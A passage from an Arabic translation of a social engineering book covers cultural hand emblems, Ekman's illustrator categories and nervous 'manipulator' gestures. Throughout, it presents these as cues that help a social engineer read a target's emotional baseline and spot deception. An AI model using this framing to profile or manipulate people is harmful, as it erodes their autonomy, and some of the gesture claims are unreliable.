‫ﺗﻣﺎﻣﺎ ﻛﻣﺎ اﻟﻧﺎس ﯾدرﻛون اﻟﻛﻠﻣﺎت اﻟﺗﻲ ﯾﺗﺣدﺛون ﺑﮭﺎ‪ ،‬ﻣﻌظﻣﮭم ﻋﻠﻰ ﺑﯾﻧﺔ ﻣن اﻟﺷﻌﺎرات اﻟﺗﻲ ﯾﺳﺗﺧدﻣوﻧﮭﺎ‪ .‬وﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﻣﺛﻠﮫ ﺗﻣﺎﻣﺎ ﻋﻧدﻣﺎ‬
‫ﻧﺗﻛﻠم اﻟﻛﻼم ﻟدﯾﻧﺎ زﻻت ﻟﺳﺎن‪ ،‬زﻻت اﻟﺷﻌﺎر "‪ "emblem slips‬ﯾﻣﻛن أن ﺗﺣدث‪ ،‬وﻟﻛن ﺑﺎﻟﻧﺳﺑﺔ ﻟﻠﺟزء اﻷﻛﺑر اﻟﻣرﺳل ﻋﻠﻰ ﻋﻠم ﻣن‬
‫اﻟﺷﻌﺎرات اﻟﻣﺳﺗﺧدﻣﺔ‪.‬‬
‫ﻓﮭم اﻷﺻل )‪ (origin‬ﯾﻣﻛﻧﮫ ان ﯾﺳﺎﻋد اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻓﻲ ﻓﮭم اﻟﺣﺎﻟﺔ اﻟﻌﺎطﻔﯾﺔ ﻟﻠﺷﺧص ﻣﺎ ﯾﻘوﻟﮫ أو ﻻ ﯾﻘوﻟﮫ ﻋﻠﻰ أﺳﺎس ﻓﮭم اﻟﺷﻌﺎرات‪.‬‬
‫ھذا ﯾﻣﻛن أن ﯾﻛون ﻟﮫ آﺛﺎر ﺧطﯾرة ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن‪ .‬ﻣﺎ ﺗراه ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺗم وﺻﻔﮫ ﻋﻠﻰ أﻧﮫ "أﺣﺑك"‪ ،‬وﻟﻛن ﻓﻲ ﻣﻧﺎطﻖ ﻣﻌﯾﻧﺔ‬
‫ﯾﻣﻛن أن ﺗﻔﺳر ﻋﻠﻰ أﻧﮭﺎ ﻋﻼﻣﺔ ﻟﻌﺻﺎﺑﺔ ﺗﺳﻣﻰ ‪ .Latin Kings‬ﯾﺟب أن ﺗﻛون ﺣذرا ﻓﻲ اﺳﺗﺧدام ھذه اﻟﻠﻔﺗﺔ )‪ (gesture‬ﻓﻲ ﻣﻧﺎطﻖ ﻣﻌﯾﻧﺔ‪.‬‬

‫ﺗﺑﯾن اﻟﺻور اﻟﺗﺎﻟﯾﺔ أﻣﺛﻠﺔ ﻗﻠﯾﻠﺔ أﻛﺛر ﻹﺛﺑﺎت ھذه اﻟﻧﻘطﺔ‪.‬‬

‫ﻓﻲ اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة ﺷﻌﺎر اﻟﯾد اﻟﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ ﯾﻘول‪" :‬أوﻗﻔوا ﻣﺎ ﺗﻔﻌﻠوﻧﮫ!" إذا ﻣﺎ اﺳﺗﺧدﻣت ﻣن ﻗﺑل ﺳﻠطﺔ ﺷﺧﺻﯾﺔ‪ ،‬ھو ﺷﻌﺎر اﻟﻘﺎﺋد‬
‫اﻟذي ﯾﻘول ﺑﺎﻟﺗوﻗف واﻟﺑﻘﺎء ﺣﺗﻰ إﺷﻌﺎر آﺧر‪ .‬ﻓﻲ ﻣﺎﻟﯾزﯾﺎ ﻋﻼﻣﺔ اﻟﯾد ھذه ﺗﺳﺗﺧدم ﻻﺳﺗدﻋﺎء اﻟﻧﺎدل‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪867‬‬

‫اﻣﺎ ﻓﻲ ﻣﺻر ﻋﻧدﻣﺎ ﺗﺳﺗﺧدم ﻣﻊ ذراع ﻣﻧﺧﻔض ﻓﺗﻌﻧﻰ اﻹﯾﻘﺎف اﻣﺎ ﻋﻧدﻣﺎ ﺗﺳﺗﺧدم ﻣﻊ ذراع ﻣرﺗﻔﻊ ﺗﻌﻧﻰ اﺳﺗدﻋﺎء اﻟﻧﺎدل إذا ﻛﻧت ﻓﻲ ﻣطﻌم او‬
‫ﻣﻘﮭﻰ أي اﻧﮭﺎ ﺗﺳﺗﺧدم اﻟﻣﻌﻧﯾن‪.‬‬
‫اﻟﺷﻛل اﻟﺗﺎﻟﻲ واﻟﺗﻲ ھﻲ ﻋﺑﺎره ﻋن ﻋﻘد راﺣﺔ اﻟﯾد ﻟﺗواﺟﮫ اﻟﺳﻣﺎء‪ ،‬ﻣﻊ اﻹﺷﺎرة ﺑﺎﻟﺳﺑﺎﺑﺔ اﻟﻰ ﺷﺧص ﻣﺎ ﻣﻊ ﺗﻠوﯾﺣﮭﺎ‪ .‬ھذه اﻹﺷﺎرة ﺑﺑﺳﺎطﮫ ﺗﻌﻧﻰ‬
‫ﻓﻲ اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة "ﺗﻌﺎل ھﻧﺎ"‪ ،‬ﻟﻛن ﻓﻲ اﻷوﺳط أو اﻟﺷرق اﻷﻗﺻﻰ‪ ،‬اﻟﺑرﺗﻐﺎل‪ ،‬اﺳﺑﺎﻧﯾﺎ‪ ،‬أﻣرﯾﻛﺎ اﻟﻼﺗﯾﻧﯾﺔ‪ ،‬واﻟﯾﺎﺑﺎن‪ ،‬وإﻧدوﻧﯾﺳﯾﺎ‪ ،‬وھوﻧﻎ ﻛوﻧﻎ‪،‬‬
‫اﺳﺗدﻋﺎء ﺷﺧص ﺑﮭذه اﻟطرﯾﻘﺔ ﺗﻌﺗﺑر وﻗﺣﺔ أو ﻣﮭﯾﻧﺔ‪ .‬ﺣﯾث ﻻﺳﺗدﻋﺎء ﺷﺧص ﯾﺳﺗﺧدﻣوا راﺣﺔ اﻟﯾد ﻣوﺟﮭﮫ ﻷﺳﻔل ﻣﻊ اﺳﺗﺧدام ﺟﻣﯾﻊ اﻷﺻﺎﺑﻊ‬
‫ﻟطﻠب اﻟﺷﺧص ھﻲ أﻛﺛر ﻗﺑوﻻ‪ .‬اﻣﺎ ﻓﻲ ﺳﻧﻐﺎﻓورة ﻓﺄﻧﮭﺎ ﺗﻣﺛل اﻟﻣوت‪.‬‬

‫اﻟﺷﻌﺎر اﻟﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ ﻓﻲ اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة ﯾﻌﻧﻰ "ﺣظﺎ ﺳﻌﯾدا" ﻏﯾر ذﻟك ﺣﯾث إذا ﻛﻧت اﯾطﺎﻟﻲ أو ﺗرﻛﻲ‪ .‬ﻓﺄﻧﮫ ﯾﻣﺛل اﻷﻋﺿﺎء‬
‫اﻟﺗﻧﺎﺳﻠﯾﺔ اﻷﻧﺛوﯾﺔ‪ .‬ﻓﻲ آﺳﯾﺎ ﻓﺈﻧﮫ ﯾﻌﺗﺑر أﯾﺿﺎ ﻟﻔﺗﺔ ﺑذﯾﺋﺔ ﺟدا‪.‬‬

‫اﻟﺷﻌﺎر اﻟﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ ﻋﺑﺎره ﻋن ﺷﻛل ‪ V‬ﺑﺎﺳﺗﺧدام اﻟﺳﺑﺎﺑﺔ واﻻﺑﮭﺎم‪ .‬ﺣﯾث ﻓﻲ اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة ﺗﻌﻧﻰ ھذه اﻟﺑﺎدرة "ﻋﻼﻣﺔ اﻟﺳﻼم"‪،‬‬
‫وﻟﻛن ﻓﻲ أوروﺑﺎ ﺗﻌﻧﻰ "اﻟﻧﺻر"‪ .‬إذا وﺿﻌت راﺣﺔ اﻟﯾد ﻧﺣو وﺟﮭك ﻓﮭذا ﯾﻌﻧﻲ ﻓﻲ اﻟواﻗﻊ "‪ ،‬ﺷﻖ ﻋﻠﯾﮫ"‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪868‬‬

‫ھذه ﻟﯾﺳت ﺳوى ﻋدد ﻗﻠﯾل ﻣن ﻋﺷرات اﻟﺷﻌﺎرات‪ .‬اﻟﺗﻲ ﻟدﯾﮭﺎ ﺗرﺟﻣﺔ ﺷﻔﮭﯾﺔ ﻣﺑﺎﺷرة‪ ،‬ھﻲ دﻗﯾﻘﮫ ﻓﯾﻣﺎ ﺗﻌﻧﯾﮫ‪ ،‬وﻏﺎﻟﺑﺎ ﻣﺎ ﺗﺳﺗﺧدم ﻋﻣدا‪ .‬اﻟﻣﺗﻠﻘﻲ‬
‫ﯾﻌرف اﻟرﺳﺎﻟﺔ ﺑﺎﻟﻧﺳﺑﺔ ﻟﮫ‪ ،‬واﻟﻣرﺳل ﯾﻌﻧﻲ ﻹرﺳﺎﻟﮫ‪ .‬اﻟﺗﻲ ﺑﺣﻛم ﺗﻌرﯾﻔﮭﺎ ھﻲ اﻻﺷﺎرة‪.‬‬
‫ﻓﻲ ﻛل ﻣن ھذه اﻷﻣﺛﻠﺔ‪ ،‬اﻟﻔﮭم ﻟﯾس ﻓﻘط ﻓﻲ اﻟﺷﻌﺎر وﻟﻛن أﯾﺿﺎ اﻟﻣﺻدر ﺣﯾث ﯾﻣﻛن أن ﯾﻐﯾر ﻓﮭﻣﻧﺎ ﻟﺣﺎﻟﺔ اﻟﺷﺧص اﻟﻌﺎطﻔﯾﺔ‪ .‬ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪،‬‬
‫ﻓﺈﻧﻧﺎ ﯾﻣﻛن أن ﻧﻐﯾر ﺣﺎﻟﺔ اﻟﺷﺧص اﻟﻌﺎطﻔﯾﺔ‪ ،‬إﻣﺎ ﻋن ﻗﺻد أو ﻋن طرﯾﻖ اﻟﺧطﺄ‪ ،‬وذﻟك ﺑﺎﺳﺗﺧدام اﻟﺷﻌﺎرات اﻟﺗﻲ ﯾﻧﻔرد ﺑﮭﺎ ﻣﺻدره‪/‬ﺛﻘﺎﻓﺗﮫ‪.‬‬
‫ﻋﻠﻰ اﻟرﻏم ﻣن اﻟﺷﻌﺎرات اﻟﺗﻲ ﯾﻣﻛن ﻋرﺿﮭﺎ ﻓﻲ اﻟﻌدﯾد ﻣن اﻷﻣﺎﻛن ﻣن اﻟﺟﺳم‪ ،‬وأﻧﮭﺎ ﺗﻧطوي ﻋﻣوﻣﺎ ﻋﻠﻰ اﻟﯾد ﻓﻲ اﻟﻣﻘﺎم اﻷول‪ ،‬وﻣن ﺛم‬
‫اﻟرأس واﻟوﺟﮫ‪ ،‬واﻟوﺿﻊ‪.‬‬
‫اﻹﯾﻣﺎءات‪/‬اﻟﺗﺻور )‪(gestures/illustrators‬‬ ‫•‬
‫ﻓﻲ "ﺣرﻛﺎت اﻟﯾد"‪ ،‬ذﻛر اﻟدﻛﺗور أﯾﻛﻣن أن "اﻟﻣﺻورون ھﻲ ﺗﻠك اﻷﻓﻌﺎل اﻟﺗﻲ ﺗرﺗﺑط أﺳﺎﺳﺎ ارﺗﺑﺎطﺎ وﺛﯾﻘﺎ ﻟﺣظﺔ ﺑﻠﺣظﺔ ﻣﻊ اﻟﻛﻼم‪ ،‬ﻣﻊ‬
‫اﻟﺻﯾﺎﻏﺔ‪ ،‬اﻟﻣﺣﺗوى‪ ،‬ﻣﻼﻣﺢ اﻟﺻوت وارﺗﻔﺎع اﻟﺻوت‪ ،‬اﻟﺦ"‪ .‬ﺑﻌﺑﺎرة أﺧرى‪ ،‬اﻟﻣﺻورﯾن ھﻲ اﻹﯾﻣﺎءات اﻟﺗﻲ ﺗدﻋم ﻣﺎ ﯾﻘﺎل‪ .‬وھﻲ ﺗﺷﺑﮫ إﻟﻰ ﺣد‬
‫ﻣﺎ اﻟﺷﻌﺎرات )‪ (emblems‬ﻷﻧﮭﺎ ﺗﺳﺗﺧدم ﻣﻊ اﻟوﻋﻲ واﻟﻘﺻد‪ ،‬ﻋﻠﻰ اﻟرﻏم ﻣن أن اﻟﺗﺻوﯾر ﻋﺎدة ﻣﺎ ﺗﺳﺗﺧدم ﺑﺷﻛل ﺧﺎرﺟﻲ‪.‬‬
‫ھﻧﺎ ﺑﻌض ﻣن اﻟﻌواﻣل اﻟﺗﻲ ﺗﺟﻌل اﻟﻣﺻورﯾن ﻣﺧﺗﻠﻔﯾن ﻣن ﺷﻌﺎراﺗﮭم‪:‬‬
‫‪ -‬ﻋﺎدة ﻣﺎ ﻻ ﯾﻛون ﻟﮭﺎ ﺗﻌرﯾف دﻗﯾﻖ ﻟﻔظﻲ‪.‬‬
‫‪ -‬ھﻲ ﻻ ﺗﺣدث أﺑدا ﻣن دون ﻣﺣﺎدﺛﺔ‪.‬‬
‫‪ -‬ﺗظﮭر ﻓﻘط ﻣن ﺧﻼل اﻟﻣﺗﻛﻠم‪ ،‬ﻻ اﻟﻣﺳﺗﻣﻊ‪.‬‬
‫اﻟﻣﺻورون ﯾﻣﻛن أن ﯾﺗﻐﯾروا ﺑﻧﺎء ﻋﻠﻰ اﻟﻣزاج‪ ،‬اﻟﻣﺷﺎﻛل‪ ،‬أو ﻣوﻗف اﻟﺷﺧص اﻟذي اﺳﺗﺧداﻣﮭﺎ‪ .‬وھﻲ ﺗﺳﺗﺧدم ﻋﺎدة أﻛﺛر ﻋﻧدﻣﺎ ﯾﻛون اﻟﺷﺧص‬
‫ﯾﺷﻌر ﺑﺎﻹﺣراج ﻓﻲ اﻟﻛﻼم أو اﻟﺗﻔﻛﯾر‪.‬‬
‫اﻟﺗﻐﯾرات اﻟﻣﻔﺎﺟﺋﺔ ﻓﻲ ﻧوع أو ﺗردد اﻟﻣﺻورﯾن ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻠﻣﺢ اﻟﻰ اﻟﺧداع أو ﺗﻐﯾر ﻛﺑﯾر ﻓﻲ ﺧطوط اﻷﺳﺎس‪ ،‬ﯾﺧﺑر اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ أن‬
‫ﯾوﻟﻲ اھﺗﻣﺎﻣﺎ أﻓﺿل ﻟﻠﺷﺧص‪.‬‬
‫ﯾﺗم ﺗﻘﺳﯾم اﻟﻣﺻورﯾن اﻟﻰ ﺛﻣﺎﻧﻲ ﻓﺋﺎت أو أﻧواع‪:‬‬
‫‪ Batons -‬ھﻲ اﻟﺣرﻛﺎت اﻟﺗﻲ ﺗؤﻛد ﻋﻠﻰ ﻛﻠﻣﺔ أو ﻋﺑﺎرة ﻣﻌﯾﻧﺔ‪.‬‬
‫‪ Ideographs -‬ھﻲ اﻟﺣرﻛﺎت اﻟﺗﻲ ﺗرﺳم ﻣﺳﺎر اﻟﻔﻛر‪.‬‬
‫‪ -‬اﻟﺣرﻛﺎت اﻟﻣوﺟﮭﺔ )‪ (Deictic movements‬ھﻲ اﻟﺣرﻛﺎت اﻟﺗﻲ ﺗﺷﯾر اﻟﻰ ﺟﺳم‪ ،‬ﻣﻛﺎن‪ ،‬أو ﺣدث‪.‬‬
‫‪ -‬اﻟﺣرﻛﺎت اﻹﯾﻘﺎﻋﯾﺔ )‪ (Rhythmic movements‬ﺗﺻور ﺳرﻋﺔ اﻟﺣدث‪.‬‬
‫‪ -‬اﻟﺣرﻛﺎت اﻟﻣﻛﺎﻧﯾﺔ )‪ (Spatial movements‬ﺗﺻور ﻋﻼﻗﺔ ﻣﻛﺎﻧﯾﺔ‪.‬‬
‫‪ Kinetographs -‬ھﻲ اﻟﺣرﻛﺎت اﻟﺗﻲ ﺗﺻور ﻋﻣل ﺟﺳدي أو ﻋﻣل ﻣﺎدى ﻏﯾر ﺑﺷري‪.‬‬
‫‪ -‬اﻟﺗﺻوﯾري )‪ (Pictographs‬ھﻲ اﻟﺣرﻛﺎت اﻟﺗﻲ ﺗرﺳم ﺻورة ﻓﻲ اﻟﮭواء ﻟﺷﻛل ﺗﺷﯾر إﻟﯾﮫ‪.‬‬
‫‪ -‬اﻟﺣرﻛﺎت اﻟرﻣزﯾﺔ )‪ (Emblematic movements‬ﺗﺳﺗﺧدم ﻟﺗوﺿﯾﺢ ﺑﯾﺎن‪ ،‬ﺣﺗﻰ اﺳﺗﺑدال ﻛﻠﻣﺔ أو ﻋﺑﺎرة‪.‬‬
‫اﻟﻣﺻورون ﻣﺛﯾرﯾن ﻟﻼھﺗﻣﺎم ﻟﻣﺷﺎھدﺗﮭم وﯾﻣﻛن أن ﺗﺳﺎﻋد اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﺗﺣدﯾد ﺧط اﻷﺳﺎس وﻣﻌرﻓﺔ ﻛﯾف ﯾﻣﻛن ﻟﻠﺷﺧص ان ﯾﻔﻛر‬
‫وﯾﺗﻔﺎﻋل ﻣﻊ اﻟﻣﺛﯾرات اﻟﻌﺎطﻔﯾﺔ‪.‬‬
‫اﻟدﻛﺗور أﯾﻛﻣن ﻓﻲ ﻛﺗﺎﺑﮫ ‪ ،Telling Lies‬ﯾﺿﻊ ﺣﻘﯾﻘﺔ ﻣﺛﯾرة ﺟدا ﻟﻼھﺗﻣﺎم ﻓﯾﻣﺎ ﯾﺗﻌﻠﻖ ﺑﺎﻟﻣﺻورﯾن‪" :‬اﻟﻣﺻورﯾن ﯾزدادون ﻋﻧد ﯾﺗورطون ﻣﻊ‬
‫ﻣﺎ ﯾﻘﺎل‪ .‬اﻟﻧﺎس ﯾﻣﯾﻠون إﻟﻰ ﺗوﺿﯾﺢ أﻛﺛر ﻣن اﻟﻣﻌﺗﺎد ﻋﻧدﻣﺎ ﯾﻛوﻧون ﻏﺎﺿﺑﯾن‪ ،‬ﻣرﻋوﺑﯾن‪ ،‬ﻣﮭﺗﺎﺟﯾن‪ ،‬ﯾﺷﻌرون ﺑﺎﻷﺳﻰ‪ ،‬أو ﻣﺗﺣﻣﺳﯾن ﺑﺣﻣﺎس"‪.‬‬
‫ھو ﯾﻔﺳر ﻻﺣﻘﺎ وﯾﻌطﻲ ﻋدد ﻗﻠﯾل ﻣن اﻷﺳﺑﺎب اﻟﺗﻲ ﺗﺟﻌل اﻟﻧﺎس ﻗد ﯾﺗوﻗﻔون ﻋن اﻟﺗوﺿﯾﺢ‪ .‬اﻻﺳﺗﺛﻣﺎر اﻟﻌﺎطﻔﻲ‪ ،‬اﻟﻣﻠل‪ ،‬واﻟﺗظﺎھر ﺑﺎﻟﻘﻠﻖ ﯾﻣﻛن‬
‫أن ﺗﻛون ﻛل اﻷﺳﺑﺎب ﻟﻣﺎذا ﺷﺧص ﻣﺎ ﻣن ﺷﺄﻧﮫ أن ﯾﺗوﻗف ﻋن اﺳﺗﺧدام اﻟﺗﺻوﯾر‪/‬اﻟﺗوﺿﯾﺢ‪ .‬ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﻧص اﻟدﻛﺗور أﯾﻛﻣن أن أوﻟﺋك‬
‫اﻟذﯾن ﯾرﯾدون اﺳﺗﺧدام اﻟﺧداع‪ ،‬وﻟم ﯾﻛوﻧوا ﻣﺎھرﯾن أو ﻣﻣﺎرﺳﯾن ﻓﻲ اﺳﺗﺧدام ﻛذﺑﮭم‪ ،‬ﻗد ﯾﺗوﻗﻔوا ﻋن اﺳﺗﺧدام اﻟﺗﺻوﯾر‪/‬اﻟﺗوﺿﯾﺢ ﻷﻧﮭم ﻏﯾر‬
‫ﻣﻣﺎرﺳﯾن ﻟﻣﺎ ﺳﯾﻘوﻟﮫ وﻻ ﯾﻌرف أن ﯾﺻف ذﻟك ﺑﺷﻛل ﺻﺣﯾﺢ‪ .‬ﻛل ھذه اﻟﻌﻼﻣﺎت ﺗزﯾد ﻣن ﻣﮭﺎرة اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﺣﯾث ﯾراﻗب ﺧطوط‬
‫أﺳﺎس ﻣوﺿوﻋﮭم وأي ﺗﻌدﯾﻼت ﻋﻠﻰ ھذا اﻷﺳﺎس ﺧﻼل اﻟﻣﺣﺎدﺛﺔ‪.‬‬
‫اﻟﻤﺘﻼﻋﺒﯿﻦ‪/‬اﻟﻤﻨﺎورﯾﻦ )‪(Manipulators‬‬ ‫•‬
‫ﯾﺗم ﺗﻌرﯾف اﻟﻣﺗﻼﻋب ﻣﺛل أي اﻟﺣرﻛﺔ ﺗﻧطوي ﻋﻠﻰ اﻟﺗﻼﻋب أو اﻻﺳﺗﻣﺎﻟﺔ ﻟﺟزء ﻣن اﻟﺟﺳم أو اﻟﻣﺎدة ﻣن اﻟﻣﻼﺑس‪ .‬ﻋﻣوﻣﺎ ﺳﺑﺑﮫ اﻟﻌﺻﺑﯾﺔ‪ ،‬ﻋدم‬
‫اﻟراﺣﺔ‪ ،‬اﻟﻌﺎدة‪ ،‬أو اﻟﺣﺎﺟﺔ ﻟﻼﺳﺗرﺧﺎء‪ .‬ﻧﻘطﺔ ھﺎﻣﺔ ھﻲ أﻧك ﻟﻣﺟرد أﻧك ﻻﺣظت وﺟود ﺷﺧص ﯾﺗﻼﻋب‪ ،‬ﻻ ﺗﻔﺗرض ﺗﻠﻘﺎﺋﯾﺎ أن ھذا ﯾﺛﺑت اﻟﺧداع‪.‬‬
‫ﺑدﻻ ﻣن ذﻟك‪ ،‬اﻟﺑﺣث ﻋن اﻟﺗﻼﻋب ھﻲ وﺳﯾﻠﺔ ﺟﯾدة ﻟﻣﻼﺣظﮫ وﺟود ﺗﻐﯾﯾر ﻓﻲ ﺧط اﻷﺳﺎس ﻟﺷﺧص ﻣﺎ‪ .‬ﯾﺟب ﻋﻠﯾك أن ﺗﺳﺄل ﻧﻔﺳك ﻛﯾف‬
‫ﯾﺗﺻرف ﻗﺑل أن ﯾﺻل اﻟﺣدﯾث إﻟﻰ ھذا اﻟﻣﺳﺗوى اﻟﻌﺎطﻔﻲ‪ .‬ﯾﻣﻛن ﻣﻼﺣظﺔ ﺧط اﻷﺳﺎس ﻟﻣﺳﺎﻋدة اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﯾرى اﻟﻣؤﺷرات )ﻣرة‬
‫أﺧرى‪ ،‬ﻟﯾس ﺧداع( ﻣن اﻟﺗﻐﯾﯾرات ﻋﻠﻰ ﻣﺷﺎﻋر ھذا اﻟﺷﺧص‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪869‬‬

‫أﻣﺛﻠﺔ ﻋﻠﻰ اﻟﻣﺗﻼﻋﺑﯾن ھم اﻟﻧﺎس اﻟذﯾن ﯾﻠﻌﺑون ﻓﻲ ﺷﻌرھم‪ ،‬اﯾدﯾﮭم‪ ،‬أو اﻟﺧﺎﺗم‪ .‬أو رﺑﻣﺎ أﻧﮭم داﺋﻣﺎ ﯾﻘوﻣون ﺑﻌدل اﻻﻛﻣﺎم‪ ،‬أزرار‪ ،‬أو ﻏﯾرھﺎ ﻣن‬
‫اﻟﻣﻼﺑس اﻟﺧﺎﺻﺔ ﺑﮭم‪ .‬ﯾﻣﻛن اﺳﺗﺧدام ھذه اﻟﻣؤﺷرات ﻟﺗﺣدﯾد ﻣﺎ إذا ﻛﺎن اﻟﺷﺧص إﻣﺎ ﻧﻔﺳﮫ ﻣطﻣﺋﻧﺔ أو إذا ﻛﺎن اﻟﻌﺻﺑﻲ‪.‬‬

‫اﻟﺷﻛل اﻟﺗﺎﻟﻲ ﯾﻌرض أﻣﺛﻠﺔ ﻋن اﻟﺗﻼﻋب اﻟﻣﺷﮭور اﻟﺗﻲ ﺗﻛون ﻗد ﻻﺣظﺗﮭﺎ‪.‬‬

‫‪ -‬ﻓرك اﻟﯾد‬

‫اﻟﻠﻌب ﺑﺄﺣد اﻹﻛﺳﺳوار اﻟﺗﻲ ﯾرﺗدﯾﮭﺎ‬ ‫‪-‬‬

‫ﻣﺛﺎل آﺧر ﻋﻠﻰ ﺑﺎدرة اﻟﻌﺻﺑﯾﺔ‬ ‫‪-‬‬

‫ﻋﻧدﻣﺎ ﯾﻛون اﻟﺷﺧص ﻣﺎ ﻋﺻﺑﻲ أو ﻏﯾر ﻣﺗﺄﻛد‪ ،‬ﻓﺈﻧﮫ ﻗد ﯾﻔرك او ﯾﻌﺗﺻر ﯾدﯾﮫ‪ .‬دﻋﻧﺎ ﻧﻘول ان ﺧط اﻷﺳﺎس ﻟﺑن ھو ﻣﺳﺗرﺧﻰ اﻟﯾدﯾن‪ ،‬واﻟﺗﻲ ﺗﺑﯾن‬
‫اﻟﺛﻘﺔ‪ .‬ﺛم ﺑدأت ﻓﻲ اﺳﺗﺟواﺑﮫ ﻋن ﻣﻛﺎن وﺟوده ﻟﯾﻠﺔ أﺧرى‪ ،‬ﻗﺎل ﺛم ﺑدا ﺑﻔرك ﯾدﯾﮫ‪ .‬ھذا اﻟﺗﻐﯾﯾر ﻓﻲ اﻷﺳﺎس ﯾﻣﻛن أن ﯾﺷﯾر اﻟﻰ ﺷﯾﺋﺎ ﻋن ھذا‬
‫اﻟﺳؤال أو اﻷﻓﻛﺎر اﻟﺗﻲ أﺣﺿرھﺎ اﻟﺳؤال ﻟﻛﻲ ﯾﺻﺑﺢ ﻋﺻﺑﯾﺎ‪.‬‬
‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﺟﯾد ﯾﻘرر ﻣﺎ إذا ﻛﺎن ھذا ھو اﻟﻣﺟﺎل ﻻﺳﺗﻛﺷﺎف اﻟﻣزﯾد أو ﻟﺗرك وﺣده‪ ،‬ﻛل ھذا ﯾﺗوﻗف ﻋﻠﻰ اﻟﻣﺳﺗوى اﻟﻌﺎطﻔﻲ اﻟﻣطﻠوب‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪870‬‬

‫ﻣن ﻧﺎﺣﯾﺔ أﺧرى ﺗﺷﯾر اﻟﻰ ﻋﺻﺑﯾﮫ اﻟﺷﺧص ھو أﻧﮫ ﯾﺑدأ ﺑﺎﻟﻠﻌب ﻣﻊ اﻟﻣﺟوھرات أو ﺣﺗﻰ أزرار وﻣواد أﺧرى ﻣن اﻟﻣﻼﺑس‪ .‬أﺣﯾﺎﻧﺎ ﯾﻠﻌب اﻟﻧﺎس‬
‫ﺑﺎﻟﻣﻼﺑس أو اﻟﻣﺟوھرات ﻛﺎﻟﻣﮭدئ‪ .‬رﺑﻣﺎ اﻟﺷﺧص اﻟذي أﻋطﺎھم ھذه اﻷﺷﯾﺎء ھو ﺻدﯾﻖ ﻣﻘرب أو أﺣد أﻓراد أﺳرﺗﮫ‪ ،‬ﺣﯾث ﻋﻧدﻣﺎ ﺗﺷﻌر ﺑﻌدم‬
‫اﻻرﺗﯾﺎح ﻓﺈﻧﮫ ﯾﺑدأ ﻓﻲ اﻟﺗﻌﺎﻣل ﻣﻊ ھذه اﻟﻣﺎدة ﻣن اﻟﻣﻼﺑس ﻟﺟﻌﻠﮭم أﻗل ﻋﺻﺑﯾﮫ‪.‬‬
‫ﻓﻲ اﻟﺷﻛل اﻟﺳﺎﺑﻖ‪ ،‬إذا ﺳﯾﻠﯾﻧﺎ ﻛﺎﻧت ﺗﻘف ﻣﻊ ذراﻋﯾﮭﺎ اﻟﻰ ﺟﺎﻧﺑﮭﺎ ﻛﺄﺳﺎس ﺛم ﺧﻼل ﻣﺣﺎدﺛﺔ ﺗراھﺎ ﻗﺎﻣت ﺑوﺿﻊ ذراع ﻟﮭﺎ ﻋﻠﻰ ﺑطﻧﮭﺎ وﺑدء اﻟﻠﻌب‬
‫ﻣﻊ ﻣﺟوھراﺗﮭﺎ‪ ،‬ھذا ﯾﻌﺗﺑر ﻣؤﺷرا ﺟﯾدا ﻟﻠﺗﻐﯾﯾر اﻟﻌﺎطﻔﻲ‪ .‬وﺿﻊ اﻟذراع ﻗد ﯾﺷﯾر ﻋدم اﻟراﺣﺔ واﻟﻠﻌب ﻓﻲ اﻟﻣﺟوھرات ﻣﻊ ﺗﻌﺑﯾرات اﻟوﺟﮫ‬
‫اﻟﻣﺧﺗﻠطﺔ ﻟﮭﺎ ﺗﺧﺑرﻧﺎ أﻧﮭﺎ ﺗﻔﻛر ﻓﻲ ﺷﻲء ﻣﺎ‪ ،‬وأﻧﮭﺎ ﻟﯾﺳت ﻣرﯾﺣﺔ ﺣﻘﺎ ﻟﮭﺎ‪.‬‬
‫ﻓﻲ ﻛﺗﺎب ‪ ،Telling Lies‬اﻟدﻛﺗور أﯾﻛﻣن ﯾﻧﺎﻗش ھذه اﻷﺟزاء اﻟﻣﮭﻣﺔ ﻣن اﻟﻠﻐﺔ ﻏﯾر اﻟﻠﻔظﯾﺔ‪" :‬اﻟﻣﺗﻼﻋﺑﯾن ﯾﻛوﻧون ﻋﻠﻰ ﺣﺎﻓﺔ اﻟوﻋﻲ"‪ .‬ھذا‬
